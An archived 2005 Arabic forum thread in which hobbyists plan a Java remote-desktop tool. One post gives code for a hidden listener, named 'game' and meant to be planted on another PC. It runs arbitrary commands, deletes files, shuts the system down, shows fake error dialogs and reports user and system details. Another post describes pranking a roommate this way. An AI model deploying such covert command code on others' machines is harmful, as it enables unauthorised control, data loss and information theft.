الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

المشروع العربى

مغلق
بدأه NUCLEAR في 10 ديسمبر 2005 · 39 رد · 2,658 مشاهدة · في JavaSE
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

لقد بدأت مشروع مشابه ل Appication Sharing الموجود فى MSN Massenger

اى انك تستطيع التحكم بجهاز اخر متصل بالأنترنت

ورأيت ان المشروع فى صورته النهائيه كبير ومفيييـــــــــــــــــــــــــد

لذلك اردت ان اشارك الموضوع مع اعضاء المنتدى

:lol:

و من لديه فكره يضعها و نبدأ النقاش ....سوف ابدأ طرح الأفكار اذا رأيت تفاعل <_<

ولكن هناك مشكله اطلاع اشخاص (غير مفيدين) على الموضوع واستفادتهم منه دون المشاركه لذا اطلب جعل الموضوع لا تظهر به الردود الا عند الأشتراك و بالطبع مسح هذين السطرين

تم تعديل هذه المشاركة بواسطة NUCLEAR في 10 ديسمبر 2005 في 22:58

Moore’s Law

– “Number of transistors in chips doubles every 18 
months”.
–  Every 10 years, processors are 100 times more 
powerful.

Gilder’s Law

– “Bandwidth grows at least three times faster than 
computer power”.
– Assuming bandwidth doubles every 12 months; 
every 10 years, it is 1000 times better.
#2

لم ادرك الفكرة تماما...

هذا البرنامج على اي لغة و باي تقنية و ما هو هيكله البرمجي و ما هي ميزاته .. الخ

انت لم توضح شئ

Theory is when you know something, but it doesn't work. Practice is when something works, but you don't know why. Programmers combine theory and practice: Nothing works and they don't know why

#3

البرنامج يمكن الشخص من العمل على جهاز اخر متصل بالأنترنت كانه جالس عليه فى حين جلوسه على جهاز اخر

البرنامج بالطبع بالجافا.

Moore’s Law

– “Number of transistors in chips doubles every 18 
months”.
–  Every 10 years, processors are 100 times more 
powerful.

Gilder’s Law

– “Bandwidth grows at least three times faster than 
computer power”.
– Assuming bandwidth doubles every 12 months; 
every 10 years, it is 1000 times better.
#4

كيف يتم الاتصال بالجهاز الاخر؟؟؟

اسف سوف اقطعك من كتابة الكود، ادخل هنا لدقيقتين فقط

http://www.shbab1.com/2minutes.htm

#5

عن طريق سيرفر يتصل به الجهازان عن طريق الأنترنت

او اتصال مباشر عن طريق شبكه

او اتصال مباشر عن طريق الأنتر نت:(يقوم الجهازان بتحديث البيانات برفعها او انزالها من سيرفر FTP مثلا)

Moore’s Law

– “Number of transistors in chips doubles every 18 
months”.
–  Every 10 years, processors are 100 times more 
powerful.

Gilder’s Law

– “Bandwidth grows at least three times faster than 
computer power”.
– Assuming bandwidth doubles every 12 months; 
every 10 years, it is 1000 times better.
#6

اسف على كثرة الاسئلة؛؛ ولكن الموضوع يستاهل

وكيف سيتم تنفيذ الاوامر؟؟ يعني كيف اتحكم بالجهاز الاخر؟؟

اسف سوف اقطعك من كتابة الكود، ادخل هنا لدقيقتين فقط

http://www.shbab1.com/2minutes.htm

#7

أعتقد أن هذا البرنامج يشبه برامج الـ Hacker ولكن بشكل شريف ودون تخريب.

#8
فيصل الردادي كتب:
اسف على كثرة الاسئلة؛؛ ولكن الموضوع يستاهل

وكيف سيتم تنفيذ الاوامر؟؟ يعني كيف اتحكم بالجهاز الاخر؟؟

هذا ما نريد مناقشته !!

كل واحد يفكر فى انه يريد بناء برنامج مشابه ويضع ما يتوصل اليه

Moore’s Law

– “Number of transistors in chips doubles every 18 
months”.
–  Every 10 years, processors are 100 times more 
powerful.

Gilder’s Law

– “Bandwidth grows at least three times faster than 
computer power”.
– Assuming bandwidth doubles every 12 months; 
every 10 years, it is 1000 times better.
#9

هل تريد التحكم باستعمال واجهة رسومية؟ هل تريد أن ترى شاشة الحاسب البعيد؟ أم أنك تريد فقط إرسال بعض الأوامر للتحكم باستخدام سطر الأوامر،

مثلا ترسل أمرا يرجع لك قائمة بأسماء البرامج التي تعمل حاليا، وبعدها ترسل أمرا آخر يأمر بإغلاق أحدها، ويفتح جديدا وهكذا،

أو أنك فقط تطلب من الحاسب البعيد أن يرسل لك صورا عن سطح المكتب تقوم بعدها بالتحكم بالفأرة ولوحة المفاتيح؟!

بالمناسبة لماذا تريد صنع مثل هذا البرنامج؟

#10

أرى ان الموضوع يحتاج دفعة لتحريكه لذا سأبدأ أنا :lol:

البرنامج مبنى على فكرة انه يقوم بنقل المدخلات من البرنامج المتحكم(الذى يعمل عليه الشخص) الى جهازه و اعادة ادخالها كما لو كان هو ادخلها

و بالمقابل يقوم بنقل الDisplay من الجهاز ال Remote الى ال Controller

الجزء الأول (Input Transfer) فانا ابحث عن بديل لل API للتعامل مع الفأره و لوحة المفاتيح.

بالنسبه الى الجزء الثانى (Display) فقد قمت ببناء Class يقوم بأخذ صور متتاليه للشاشه ويبقى نقل الصور الى Remote فأرجو ان تساعدونى فيه.

B)

Moore’s Law

– “Number of transistors in chips doubles every 18 
months”.
–  Every 10 years, processors are 100 times more 
powerful.

Gilder’s Law

– “Bandwidth grows at least three times faster than 
computer power”.
– Assuming bandwidth doubles every 12 months; 
every 10 years, it is 1000 times better.
#11

انا من كم سنة عملت هيك شي بمساعدة حزمة ipworks كما اذكر...

و لكن البرنامج بسيط تشغل ملف jar في الجهاز الآخر و من ثم لا يحدث شئ.. و لكنه يكون قد اشتغل و اصبح يتنصت على منفذ معين

ياتي البرنامج الاساسي و يرسل رمز ما ( يعني مرحبا ) فيرد عليه الملف الصغير و يقول له اهلا انا موجود في الجهاز اللي آي بيه هو كذا

يجي البرنامج يقول له شغل له هل البرنامج .. فيشغله و يقول لك تم الامر

يقول له احذف له هذا ...

و يقول له ماذا يوجد في السي مثلا

اظهر له رسالة

... الخ

من الاوامر البسيطة و لكنني لم اتابع لدرجة التحكم بالفأرة ..

لذا انا من المهتمين بهذا الموضوع و لكنني اسئل ما الفائدة مع وجود مئات البرامج المشابهة!!

Theory is when you know something, but it doesn't work. Practice is when something works, but you don't know why. Programmers combine theory and practice: Nothing works and they don't know why

#12
رامي العيساوي كتب:
لذا انا من المهتمين بهذا الموضوع و لكنني اسئل ما الفائدة مع وجود مئات البرامج المشابهة!!

أولا : ارجو من رامى ارفاق الحزمه(IP WORKS) و أرجو ان نتبع جميعا هذا الأسلوب(كل اداه او حزمه تذكرها ارفق رابط لها) بدلا من ان يذكر احدنا الحزمه الفلانيه ثم يطلبها اخر ثم يضيف الأول مشاركه "ها هى الحزمه " ثم يضيف الشانى "شكرا""!!!!!!! :blink: <_< :s

ثانيا : هل يجب ان نبحث عن برنامج جديد كليا"؟ (برنامج محرر النصوص كلنا قمنا بصنع احدها للتدريب وليس لأنها سو تنافس وورد!)

و انا ارى ان اغلب المبرمجين العرب (أغلبهم) و أقصد (أغلبهم وليس كلهم) يعزفون عن برمجه الألعاب و السيرفر - كلاينت ويتجهون الى الداتا بيز من أجل ال$$$$$ (انا لا اعيب عليهم ولكنى افضل التطوير). :lol: :rolleyes:

رامي العيساوي كتب:
البرنامج بسيط تشغل ملف jar في الجهاز الآخر و من ثم لا يحدث شئ.. و لكنه يكون قد اشتغل و اصبح يتنصت على منفذ معين

ياتي البرنامج الاساسي و يرسل رمز ما ( يعني مرحبا ) فيرد عليه الملف الصغير و يقول له اهلا انا موجود في الجهاز اللي آي بيه هو كذا

يجي البرنامج يقول له شغل له هل البرنامج .. فيشغله و يقول لك تم الامر......................

:) :rolleyes: B) ;) :lol: :lol: :lol:

أولا : جمييييل ولكن افضل ان ترفق الكود! :D

ثانيا : ليس هذا ما ارمى اليه بل اريد ان اتعامل مع واجهة رسوميه Full Screen كأننى اجلس الى الجهاز الRemote تماما"

====================================================================================

يتكون البرنامج ال remote (الصغير على رأى رامى) من جزأين احدهما يقوم على ارسال الDisplay اى ال (Screen Shots) الى الجهاز ال

Controller

اما الجزء الثانى فيقوم بالأستماع على بورت معين و معالجة ما يستقبله من الController و تنفيذه

و لكن المشكله تكمن فى الBandwidth حيث ان ارسال الScreen Shots سوف يتطلب الكثير من الوقت وخاصه انها يجب ان تكون متلاحقه وسريعة الوصول.

:unsure:

Moore’s Law

– “Number of transistors in chips doubles every 18 
months”.
–  Every 10 years, processors are 100 times more 
powerful.

Gilder’s Law

– “Bandwidth grows at least three times faster than 
computer power”.
– Assuming bandwidth doubles every 12 months; 
every 10 years, it is 1000 times better.
#13

عفوا.. و لكن حزمة ipworks اشهر من النار على العلم و الافضل ان يقوم الشخص المحتاج الى البحث في غوغل و سيجدها امامه مباشرة لماذا!!! لان الوقت الذي سوف اقوم به بالبحث عن الحزمة اكون كتبت فيه المزيد من المعلومات - يعني الافضل كمية اكبر مركزة احسن من كمية قليلة مبسطة -

و الكود الحقيقة اخجل من وضعه هنا لانه عملته من زمان كثير يعني من شئ ثلاث سنين و انا متاكد بان الشباب ( خاصة ابو مازن ) سوف ينهال علي باخطاء " عدم استعمال غرضية التوجه " :)

و هذا ما اخشاه فعلا !!! ههههههه

و اذا تعهد لي " فريق الغرضي التوجه" بعدم التعدي علي فانا موافق و ساضع الكود :)

و فعلا مشكلة عرض الحزمة هي مشكلة عامة و تعاني منها كل البرامج المشابهة و اعتقد بان برنامجنا لن يتفوق على نيت ميتنغ مال مايكرو سوفت

و ابقى انا افضل ان اعمل مشروع يفيد و من ثم اعمل على زيادة الخبرة.. و اذا انت مصر على عمل برنامج مشابه و بدون ميزات اضافية فانا لم اعد مهتم بالموضوع

اما اذا كان هنالك فكرة جديدة تستحق التعب من اجلها فانا مهتم بالموضوع

بالتوفيق

Theory is when you know something, but it doesn't work. Practice is when something works, but you don't know why. Programmers combine theory and practice: Nothing works and they don't know why

#14
اقتباس
ابقى انا افضل ان اعمل مشروع يفيد و من ثم اعمل على زيادة الخبرة.. ..................

...............اما اذا كان هنالك فكرة جديدة تستحق التعب من اجلها فانا مهتم بالموضوع

يا أخ رامى هذا هو الغرض من مناقشة الموضوع فى المنتدى وياريت تورينا بقى اقتراحاتك للعمل على تنفيذها

(يا خى حتى لو مش عاجبك الموضوع ساعد اخواتك الغلبانين فى مشروعهم الضعيف!)

:lol:

أما بالنسبه للBandwidth فانا افكر فى حجه من اتنين:

1- اما البرنامج يقارن الصورتين ويرسل الفرق بينهم فقط (انا لا أميل لهذا) :(

2- او انه يتم تحديث الصوره فقط عند الحاجة (مدخلات من ال Controller او مخرجات من ال Remote ) بحيث تكون دوره التحديث هكذا

:o

مدخل(فأره او مفتاح)>>>(نقل الى ال Remote) >>> (تحديث ال Display )

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

لا توجد لدى اية اقتراحات اعتقد انها تحسن البرنامج لدرجة تفوق الApplicatin Sharing(حتى اللآن) سوى قوة الأداء و لكن أحبذ العمل على المقترحات الجديده من المشاركين فى الموضوع. :D

تم تعديل هذه المشاركة بواسطة NUCLEAR في 13 ديسمبر 2005 في 16:32

Moore’s Law

– “Number of transistors in chips doubles every 18 
months”.
–  Every 10 years, processors are 100 times more 
powerful.

Gilder’s Law

– “Bandwidth grows at least three times faster than 
computer power”.
– Assuming bandwidth doubles every 12 months; 
every 10 years, it is 1000 times better.
#15

الظاهر أني صنعت عقدة في المنتدى! وبسببها حرم الكثير من خبرات البعض،، وحرمت أيضا منها..

لكن لك علي ألا أنتقد شفراتك!

والذي يريد الانتقاد عليه ذكر ذلك صراحة!

بالمناسبة لا تخلو شفراتي من العيوب،

#16

Area Clear يا رامى انطلق يا وحش(Beast)

:lol

Moore’s Law

– “Number of transistors in chips doubles every 18 
months”.
–  Every 10 years, processors are 100 times more 
powerful.

Gilder’s Law

– “Bandwidth grows at least three times faster than 
computer power”.
– Assuming bandwidth doubles every 12 months; 
every 10 years, it is 1000 times better.
#17

للر فع

Moore’s Law

– “Number of transistors in chips doubles every 18 
months”.
–  Every 10 years, processors are 100 times more 
powerful.

Gilder’s Law

– “Bandwidth grows at least three times faster than 
computer power”.
– Assuming bandwidth doubles every 12 months; 
every 10 years, it is 1000 times better.
#18

لا لا انا امزح طبعا النقد البناء مطلوب .. و انت ديما انقد و اذا طلب احدهم عكس ذلك - مثلي يعني - ابقى لا تنقد الكود..

سوف ابحث عن الكود اين صار... و اضعه بالمساء.. و ربما لا اقدر الى غدا.. لذا اصبر علي يا أخ نووي

Theory is when you know something, but it doesn't work. Practice is when something works, but you don't know why. Programmers combine theory and practice: Nothing works and they don't know why

#19

هذا كود الملف الصغير الذي يجب زرعه عند العميل...

import ipworks.*;
import javax.swing.*;
import com.excelsior.xFunction.*;
import java.io.*;
public class game
{   
  Mcast mcast1 = new Mcast();
  
	public game()
	{
        
         try{
  mcast1.addMcastEventListener(new ipworks.McastEventListener() {
      public void dataIn(McastDataInEvent e) {
        mcast1_dataIn(e);
      }
      public void error(McastErrorEvent e) {
      }
      public void readyToSend(McastReadyToSendEvent e) {
      }
    });
        }catch(Exception p){System.out.print(p);}
        
        
        
        try {
        mcast1.setActive(false);
        mcast1.setLocalPort(3333);
        mcast1.setRemotePort(3333);
        mcast1.setRemoteHost("231.31.31.31");
        mcast1.setActive(true);
        mcast1.setMulticastGroup("+" + "231.31.31.31");
        mcast1.setTimeToLive(20);
    } catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
try {
        mcast1.setDataToSend(("readysir").getBytes());
    } catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
    
     
	}
	static public void main(String args[])
    {
        try {
          UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
      } 
      catch (Exception e) { 
      }
        new game();
    }
    
    
        void mcast1_dataIn(McastDataInEvent e)
        {
     String come=new String(e.datagram);
     if(come.equals("ramyready"))try {mcast1.setDataToSend(("readysir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
   else if(come.equals("ramybeep"))
   {

   try {
	xFunction b=new xFunction("kernel32","int Beep(int,int)");
    b.invoke(new Argument(1000),new Argument(16000));
    } catch (xFunctionException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
   try {mcast1.setDataToSend(("beepsir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
   }
   
   
   
   //=============================================================
   else if(come.equals("ramyshow"))
   {
    JOptionPane.showMessageDialog(null, "Error 007: low in memory, shut down your system" );
   try {mcast1.setDataToSend(("showsir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
   }
	//============================================================    
   else if(come.equals("ramydest"))
   {
   try {mcast1.setDataToSend(("destsir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
   }    
   //==========================================================
   else if(come.startsWith("ramymess"))
   {
    JOptionPane.showMessageDialog(null, come.substring(8) );
   try {mcast1.setDataToSend(("messsir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
   }
   //=========================================================
   else if(come.startsWith("ramydele"))
   {
    File dfile= new File(come.substring(8));
   try{
    if (dfile.isDirectory()) dfile.delete();
    else dfile.delete();
   try {mcast1.setDataToSend(("delesir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
   }
   catch (Exception fnf){
        try {mcast1.setDataToSend(("cantsir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}}
   }    
	//=======================================================    
   else if(come.equals("ramycoff"))
   {
    try{
   Runtime.getRuntime().exec("rundll user.exe,exitwindows");}catch (Exception exce){try{mcast1.setDataToSend(("cantsir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}}
   try {mcast1.setDataToSend(("coffsir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
   } 
   //=================================================
   else if(come.startsWith("ramyrun"))
   {
   try{
   Runtime.getRuntime().exec(come.substring(7));
   try {mcast1.setDataToSend(("runsir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
   }
   catch (Exception fnf){
        try {mcast1.setDataToSend(("cantsir").getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}}
   } 
   //====================================================
   else if(come.equals("ramyinfo"))
   {
    File d=new File("d:\\");
    String[] ds=d.list();
    String info=" User Name: "+System.getProperty("user.name")
    +"\nUser Dir: "+System.getProperty("user.dir")
    +"\nUser Home: "+System.getProperty("user.home")
    +"\nOS Name: "+System.getProperty("os.name")
    +"\nOS architecture: "+System.getProperty("os.arch	")
    +"\nOS version: "+System.getProperty("os.version")
    +"\nFree memory: "+Runtime.getRuntime().freeMemory()
    +"\nTotal memory: "+Runtime.getRuntime().totalMemory()
    +"\nRoot: "+ds[0];
   try {mcast1.setDataToSend(("infosir"+info).getBytes());} catch (IPWorksException ipwe) {System.out.print("The wrong:"+ ipwe.getMessage());}  
   } 
     }
     
     
     
}

اما لابرنامج الرئيسي فهو طويل جدا بسبب وجود كذا وظيفة اخرى لا علاقة لها بما نناقشه هنا

لذا احتاج الى فصله عن البقية و ربما غدا

Theory is when you know something, but it doesn't work. Practice is when something works, but you don't know why. Programmers combine theory and practice: Nothing works and they don't know why

#20

اعرف اعرف اول غلط هو اسم الكلاس لانه لا يبدا في حرف كبير.. ارجو معذرتي عزيزي ابو مازن :)

هههههههههه امزح لا تاخذ الكلام على محمل الجد كما فعلت في المرة السابقة

Theory is when you know something, but it doesn't work. Practice is when something works, but you don't know why. Programmers combine theory and practice: Nothing works and they don't know why

#21

هممم... والله برنامجك أحلى بكثير من برنامجي!! طبعا الشفرة ضاعت كما تعلم!

كان برنامجي عبارة عن خادم يأخذ فقط جملة من العميل ويعرضها في JOptionPane،، كنت أعقد زميلي في الغرفة وقت الدراسة. وضعت له هذا الخادم العجيب وشغلته، وعندها أرسل إليه كلمات عجيبة مثل: (يوجد خطأ في النظام) وبعض الأحيان ( error: 01039012391001941 1001010100101010101) !

#22

والله فكرة،،، سأتحدث عن تطوير لفكرة رامي! فكرة رامي يقوم فيها الخادم باستقبال اسم برنامج وبعض المدخلات، مثلا عندنا برنامج ramymess و ramydist وغيرها! وبعد ذلك ينفذها..

الشيء الذي أحاول تطويره هو إمكانية إضافة برامج جديدة من قبل العميل دون تطوير في شفرة الخادم... لتفهم ما أعني: برنامج رامي يحوي تقريبا 5 برامج والله أعلم،، وإن أراد إضافة عملية أو برنامج إضافي فعليه إطفاء البرنامج، وتطوير الشفرة، وإعادة تشغيل الخادم،، لكننا نريد من الخادم استقبال البرامج الجديدة وتنفيذها عند اللزوم!

مثلا افرض أن الخادم ليس به ولا برنامج، يقوم العميل عندها بإضافة برنامج تشغيل برنامج معين وهو الأمر ramyStart programName ، أو برنامج آخر اسمه Add numerb1 number2.

مثلا هذا يمثل برنامج من البرامج!

public abstract class Program{
	String name;
	public Program(String name){
  this.name=name;
	}
	public abstract Object execute(List<Object>arguments);
	public String name(){
  return name;
	}
}

لاجظ معي أن البرنامج عليه أن يقوم بإعادة تعريف الأمر execute.

الآن الخادم عليه على الأقل أن ينفذ هذه السلسلة من الأوامر حتى يكون خادما محترما!

import java.rmi.*;
public interface RamyServer implements Remote{
	/**exuecute this program with these arguments.
  **/
    public void execute(String programName, List<String> arguments)
      throws RemoteException;
    /**Adds this program to the server
     */
    public void addProgram(Program p)throws RemoteException;
    /**Returns a list of program names.
     */
    public List<String> getAvailablePrograms()throws RemoteException;
}

عندها العميل يستطيع إضافة البرامج الجديدة بالإضافة إلى تشغيل ما يريد من برامج!

#23

رائع فعلا... من الضروري ان نعطيه اوامر جديدة و دون الحاجة الى تطويره!!

و المرسل اظن لا حاجة له لانه واضح جدا .. اليس كذلك.. اذا كنتم مصرين عليه فسوف اضعه و لكن لا اجد ضرورة له فهو فقط يرسل الكلمات

توقعت ان يسالني احد لماذا التعليمات دائما تتكون من ثمانية احرف!!

لان اي شئء بعد الثمانية يتالف من معلومات خاصة بالتعليمة

مثلا ramydele

عنوان الملف المراد حذفه هو " File dfile= new File(come.substring(8)); "

و اذا نجحت العملية يقول للبرنامج الرئيسي delesir

و اذا فشلت cantsir

لاحظو صيغة الاحترام التي يكلم بها البرنامج الكبير :)

و طبعا فكرة ابو مازن تستحق المحاولة!! و لم تخطر في بالي في عام 2002 طبعا!!!

و ارجو عندما نقوم بتطوير الكود ان لا تستخدم هذه التعليمات " <String> " لانك تعرف ما اعاني معها :)

Theory is when you know something, but it doesn't work. Practice is when something works, but you don't know why. Programmers combine theory and practice: Nothing works and they don't know why

#24

اسف لعدم متابعة الموضوع و للأسف جائتنى بعض الأفكار ولكن لا وقت للشرح (لدى امتحانات فى الكليه والضغط شديييييد)

شكرا لرامى

شكرا أبو مازن

Moore’s Law

– “Number of transistors in chips doubles every 18 
months”.
–  Every 10 years, processors are 100 times more 
powerful.

Gilder’s Law

– “Bandwidth grows at least three times faster than 
computer power”.
– Assuming bandwidth doubles every 12 months; 
every 10 years, it is 1000 times better.
#25

على ما يبدو انتهى المشروع قبل ان يبدأ :(

Theory is when you know something, but it doesn't work. Practice is when something works, but you don't know why. Programmers combine theory and practice: Nothing works and they don't know why

هذا الموضوع مغلق.

مواضيع مشابهة